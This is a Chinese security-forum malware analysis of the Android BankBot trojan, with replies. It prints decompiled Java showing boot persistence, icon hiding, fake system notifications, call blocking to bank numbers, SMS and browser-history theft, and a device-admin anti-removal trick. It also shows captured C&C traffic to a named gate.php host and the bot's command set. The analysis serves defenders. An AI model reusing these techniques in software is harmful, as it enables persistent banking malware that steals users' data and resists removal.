吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 6393|回复: 6
上一主题 下一主题
收起左侧

[移动样本分析] BankBot 样本分析

[复制链接]
跳转到指定楼层
楼主
henices 发表于 2016-2-26 13:38 回帖奖励
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 henices 于 2016-2-26 17:52 编辑

0x00 样本概况

字段内容
样本名BankBot
MD53c42c391bec405bb28b28195c2961778
SHA25693b64019ee48177889d908c393703a2a2fe05ca33793c14b175467ce619b1b94
文件类型APK


这是一个以盗窃信用卡用户密码为主要目的的bot。安装后显示为Android图标。打开App后 会以Android系统更新的形式,诱导用户激活设备管理器达到常驻系统的目的。





0x01 行为分析

开机自启动


[XML] 纯文本查看 复制代码
<receiver android:name="com.android.market.Autorun">
    <intent-filter android:priority="999">
        <action android:name="android.intent.action.REBOOT" />
        <action android:name="android.intent.action.BOOT_COMPLETED" />
        <action android:name="android.intent.action.QUICKBOOT_POWERON" />
    </intent-filter>
    <intent-filter android:priority="1000">
        <action android:name="android.intent.action.REBOOT" />
        <action android:name="android.intent.action.BOOT_COMPLETED" />
        <action android:name="android.intent.action.QUICKBOOT_POWERON" />
    </intent-filter>
</receiver>


Autorun


[Java] 纯文本查看 复制代码
package com.android.market;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public final class Autorun extends BroadcastReceiver {
    public Autorun() {
        super();
    }

    public void onReceive(Context context, Intent intent) {
        Intent v0 = new Intent(context, Scheduler.class);
        v0.setFlags(0x10000000);
        context.startService(v0);
    }
}




开机将启动 Schedule 服务

Schedule 服务

[Java] 纯文本查看 复制代码
public int onStartCommand(Intent intent, int flags, int startId) {
    super.onStartCommand(intent, flags, startId);
    Utils.registerIfNeeded(((Context)this));
    Object v0 = this.getSystemService("alarm");
    PendingIntent v6 = PendingIntent.getBroadcast(((Context)this), 0, new Intent(((Context)this), 
            NetworkController.class), 0);
    int v7 = FileController.fileExists(((Context)this), "interval") ? Integer.parseInt(FileController
            .readFile(((Context)this), "interval")) : 0xA;
    ((AlarmManager)v0).setRepeating(0, System.currentTimeMillis() + 0x2710, ((long)(v7 * 0x3E8)), 
            v6);
    this.handleCrashes();
    return 1;
}


Schedule 服务使用alarm manager 注册一个定时任务。这个定时任务由NetworkController完成。 时间间隔由配置文件interval决定。定时和C&C服务器进行通讯。

com.android.market.FileController

[Java] 纯文本查看 复制代码
static final boolean fileExists(Context context, String filename) {
    return new File(context.getFilesDir(), filename).exists();
}



隐藏App 图标

[Java] 纯文本查看 复制代码
static final void hideApp(Context context, boolean hide) {
    ComponentName v0 = new ComponentName(context.getPackageName(), String.valueOf(context.getPackageName())
             + ".MainActivity");
    PackageManager v3 = context.getPackageManager();
    int v1 = hide ? 2 : 1;
    v3.setComponentEnabledSetting(v0, v1, 1);
}



伪造的系统Notification

[Java] 纯文本查看 复制代码
public void onCreate() {
    super.onCreate();
    new AppCrash().Register(((Context)this));
    Notification v3 = new Notification(0x108008A, "Android system requires user action", System.
            currentTimeMillis());
    Intent v1 = new Intent(this.getApplicationContext(), AdminX.class);
    v1.setAction("android.intent.action.VIEW");
    v1.setFlags(0x34000000);
    v3.setLatestEventInfo(this.getBaseContext(), "Android", "Android system requires action", PendingIntent
            .getActivity(((Context)this), 0, v1, 0x8000000));
    v3.flags |= 0x62;
    this.startForeground(2, v3);
    new Helper(this).execute(new Void[0]);
}




禁用屏幕锁定

[Java] 纯文本查看 复制代码
AdminX.this.getSystemService("keyguard").newKeyguardLock("ANDROID").disableKeyguard();


禁止拨打指定号码电话

[Java] 纯文本查看 复制代码
public void onReceive(Context context, Intent intent) {
    String[] v8;
    String action = intent.getAction();
    String v6 = intent.getStringExtra("state");
    String v3 = intent.getStringExtra("incoming_number");
    String v5 = intent.getStringExtra("android.intent.extra.PHONE_NUMBER");
    String v1 = "8005555550; 4955005550;";
    String v10 = "8005555550; 4955005550;";
    String v11 = "";
    int v9 = 0;
    if(action.equals("android.intent.action.NEW_OUTGOING_CALL")) {
        String v4 = v5.replace("+", "").replace("#", "d").replace("*", "s").replace(" ", "").replace(
                "-", "");
        if(v1 != null) {
            v8 = v1.replace(" ", "").split(";");
            if(v8.length > 0) {
                int v13;
                for(v13 = 0; v13 < v8.length; ++v13) {
                    if(v4.contains(v8[v13])) {
                        v9 = 1;
                        v11 = String.valueOf(v11) + "blocked outgoing call";
                        this.setResultData(null);
                    }
                }
            }
        }

        if(v9 == 0) {
            v11 = String.valueOf(v11) + "outgoing call";
        }

        new ReportWithDataTask(context, "call_data").execute(new Object[]{"[" + this.toJSON(v4, 
                v11) + "]"});
    }
  ...
 }


通过网页 http://www.sberbank.com/news-and-media/contacts 中的信息我们可以知道:
8005555550 4955005550 这两个号码 sberbank 的号码,在俄罗斯拨打免费。

禁止接听指定号码电话

[Java] 纯文本查看 复制代码
String v10 = "8005555550; 4955005550;";

if((action.equals("android.intent.action.PHONE_STATE")) && (v6.equals("RINGING"))) {
String v2 = v3 != null ? v3.replace("+", "").replace("#", "d").replace("*", "s").replace(
        " ", "").replace("-", "") : "Unknown";
if(v10 != null) {
    v8 = v10.replace(" ", "").split(";");
    for(v13 = 0; v13 < v8.length; ++v13) {
        if(v2.contains(v8[v13])) {
            v11 = "blocked incoming call";
            v9 = 1;
            this.hangUp(context);
        }
    }

    if(!v2.contains("Unknown")) {
        goto label_106;
    }

    v11 = "blocked incoming call";
    v9 = 1;
    this.hangUp(context);
}

label_106:
if(v9 == 0) {
    v11 = "incoming call";
}

new ReportWithDataTask(context, "call_data").execute(new Object[]{"[" + this.toJSON(v2, 
        v11) + "]"});
}



获取短信记录

[Java] 纯文本查看 复制代码
private StringBuilder getSmsLog() {
    StringBuilder v10 = new StringBuilder("[");
    Cursor v8 = this.context.getContentResolver().query(Uri.parse("content://ABC".replace("A", 
            "s").replace("B", "m").replace("C", "s")), null, null, null, null);
    if((v8.moveToFirst()) && v8.getCount() > 0) {
        while(!v8.isAfterLast()) {
            v10.append(String.format(Locale.US, "{\"address\":%s,\"body\":%s,\"date\":%s}", 
                    JSONObject.quote(v8.getString(v8.getColumnIndex("address"))), JSONObject
                    .quote(v8.getString(v8.getColumnIndex("body"))), JSONObject.quote(v8.getString(
                    v8.getColumnIndex("date")))));
            if(!v8.isLast()) {
                v10.append(",");
            }

            v8.moveToNext();
        }

        v8.close();
    }

    return v10.append("]");
}



浏览器书签

[Java] 纯文本查看 复制代码
private StringBuilder getHistory(Uri historyUri) {
    StringBuilder v8 = new StringBuilder("[");
    Cursor v6 = this.context.getContentResolver().query(historyUri, new String[]{"title", "url", 
            "date"}, "bookmark = 0", null, null);
    if((v6.moveToFirst()) && v6.getCount() > 0) {
        while(!v6.isAfterLast()) {
            v8.append(String.format(Locale.US, "{\"title\":%s,\"url\":%s,\"date\":%s}", JSONObject
                    .quote(v6.getString(v6.getColumnIndex("title"))), JSONObject.quote(v6.getString(
                    v6.getColumnIndex("url"))), JSONObject.quote(v6.getString(v6.getColumnIndex(
                    "date")))));
            if(!v6.isLast()) {
                v8.append(",");
            }

            v6.moveToNext();
        }

        v6.close();
    }

    return v8.append("]");
}



骗取信用卡信息

当用户打开Google Play 应用时,打开伪造的Activity,诱使用户输入信用卡信息。





高级技术

不断重启的Servcie


com.android.smali3
[Java] 纯文本查看 复制代码
public void onDestroy() {
    super.onDestroy();
    this.startService(new Intent(this.getApplicationContext(), smali3.class));
}



服务被停止,立即重启,无法停止。

防止卸载

Bankbot 申请 Device Admin 权限,无法被正常卸载。

> adb shell pm uninstall com.android.market
Failure

禁止删除 Device Admin 权限

这个一个非常流氓的做法,具体的做法是如下面的代码:

[Java] 纯文本查看 复制代码
public class AdRec extends DeviceAdminReceiver {
    public AdRec() {
        super();
    }

    public CharSequence onDisableRequested(Context context, Intent intent) {
        new AppCrash().Register(context);
        if(Build$VERSION.SDK_INT <= 0xA) {
            Intent v2 = new Intent("android.settings.SETTINGS");
            v2.setFlags(0x50000000);
            context.startActivity(v2);
            Intent v4 = new Intent("android.intent.action.MAIN");
            v4.addCategory("android.intent.category.HOME");
            v4.setFlags(0x10000000);
            context.startActivity(v4);
            return "WARNING! Your device will now reboot to factory settings.\n\nClick \"Yes\" to erase your data and continue. \"No\" for cancel.";
        }

        context.startService(new Intent(context, ASec.class));
        long v6 = 0x7D0;
        try {
            Thread.sleep(v6);
        }
        catch(InterruptedException v3) {
            v3.printStackTrace();
        }

        return "WARNING! Your device will now reboot to factory settings.\n\nClick \"Yes\" to erase your data and continue. \"No\" for cancel.";
    }

   ...
}


重写 DeviceAdminReceiver 的 onDisableRequest 方法。使用 Thread.sleep 方法使用户 无法操作界面,在此期间采取 Activity 切换的方法绕开取消激活的步骤。
这里出过几个问题,

  • Backdoor.AndroidOS.Obad.a 使用的,在设备管理器中隐身
  • 就是现在代码中所用到这个,目前在所有的Android 版本中存在。




界面劫持

通过界面劫持,诱使用户将App设置为设备管理器。从下图中可以看见Continues按钮其实 是设备管理器的激活按钮。





0x02 C&C 协议分析

Bankbot 以固定时间轮询的方式向C&C服务器请求命令,命令的格式为json格式。从代码中 可以得到json字段的信息。

[Java] 纯文本查看 复制代码
private static final String FIELD_ACTION = "action";
private static final String FIELD_CALL_LOG = "call_log";
private static final String FIELD_DATA = "data";
private static final String FIELD_HISTORY = "browser_history";
private static final String FIELD_ID = "id";
private static final String FIELD_IMEI = "imei";
private static final String FIELD_INTERCEPT = "intercept";
private static final String FIELD_MAYHEM = "mayhem";
private static final String FIELD_MESSAGE = "prefix_1";
private static final String FIELD_NEW_SERVER = "server";
private static final String FIELD_NUMBER_SEND_TO = "number_1";
private static final String FIELD_OPERATOR = "op";
private static final String FIELD_PHONE = "phone";
private static final String FIELD_POLL_INTERVAL = "server_poll";
private static final String FIELD_PREFIX = "prefix";
private static final String FIELD_REPORT_CALLS = "calls";
private static final String FIELD_SMS_HISTORY = "sms_history";
private static final String FIELD_SPAM = "text_2";
private static final String FIELD_STATUS = "status";
private static final String FIELD_URL_TO_SHOW = "url";
private static final String FIELD_VERSION = "version";


请求注册

返回报文

401

注册报文

[Diff] 纯文本查看 复制代码
POST /p/gate.php HTTP/1.1
Content-Length: 106
Content-Type: application/x-www-form-urlencoded
Host: quick-sshopping.com
Connection: Keep-Alive

action=reg&imei=098767899076562&phone=15802920457&op=Android&version=4.4.4%2C3.4.0-gd853d22&prefix=12Jhw21

HTTP/1.1 200 OK
Server: nginx/1.8.0
Date: Tue, 23 Feb 2016 07:25:21 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.31

3
200
0




获取命令

[Diff] 纯文本查看 复制代码
POST /p/gate.php HTTP/1.1
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
Host: quick-sshopping.com
Connection: Keep-Alive

action=poll&imei=098767899076562


HTTP/1.1 200 OK
Server: nginx/1.8.0
Date: Tue, 23 Feb 2016 07:25:30 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.31

0




返回的命令为json 格式,主要的指令有下面几个,


指令含义
401要求 bot 注册
call_log获取电话记录, 发送到C&C server
sms_history获取短信内容,发送到C&C server
browser_history获取浏览器书签,发送到C&C server
url访问url 链接
server更换C&C server
intercept
server_poll更新从服务器获取命令的时间间隔
mayhem
calls

监视服务了大半天,没有收到有效指令,看来不是特别活跃。

清除

这个App的清除非常费劲,原因就是注册为设备管理器的app不能卸载,而这个App又使诈 不让我们取消设备管理器,估计只有root的机器会好处理一些。

总结

BankBot 样本,代码编写的相当规范,风格严谨,是正规程序员的作品。但行为非常流氓, 很顽固,不容易清除。所以遇到申请device admin 权限的程序一定要小心谨慎,以免不良 后果。而Android的界面劫持也是一个严重的问题,估计后续利用这些技术的恶意App的数量 会越来越多。

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
windwing1883 发表于 2016-2-26 14:14
支持一下,哪里来的样本?
3#
求魔 发表于 2016-2-26 15:13
4#
xokamox 发表于 2016-2-26 23:37
Is there any sample provide for further inspection ?

Thanks ~
5#
 楼主| henices 发表于 2016-3-1 16:12 |楼主
部分Android手机提供安全模式,安全模式将禁用所有第三方APP,进入安全模式后,应该有一定机率可以清除锁机APP。
6#
zdfs530 发表于 2016-3-25 00:17
看看,学学!
7#
yzh07137 发表于 2016-6-7 14:34
请问能分享一下样本吗?
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-3-28 17:37

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表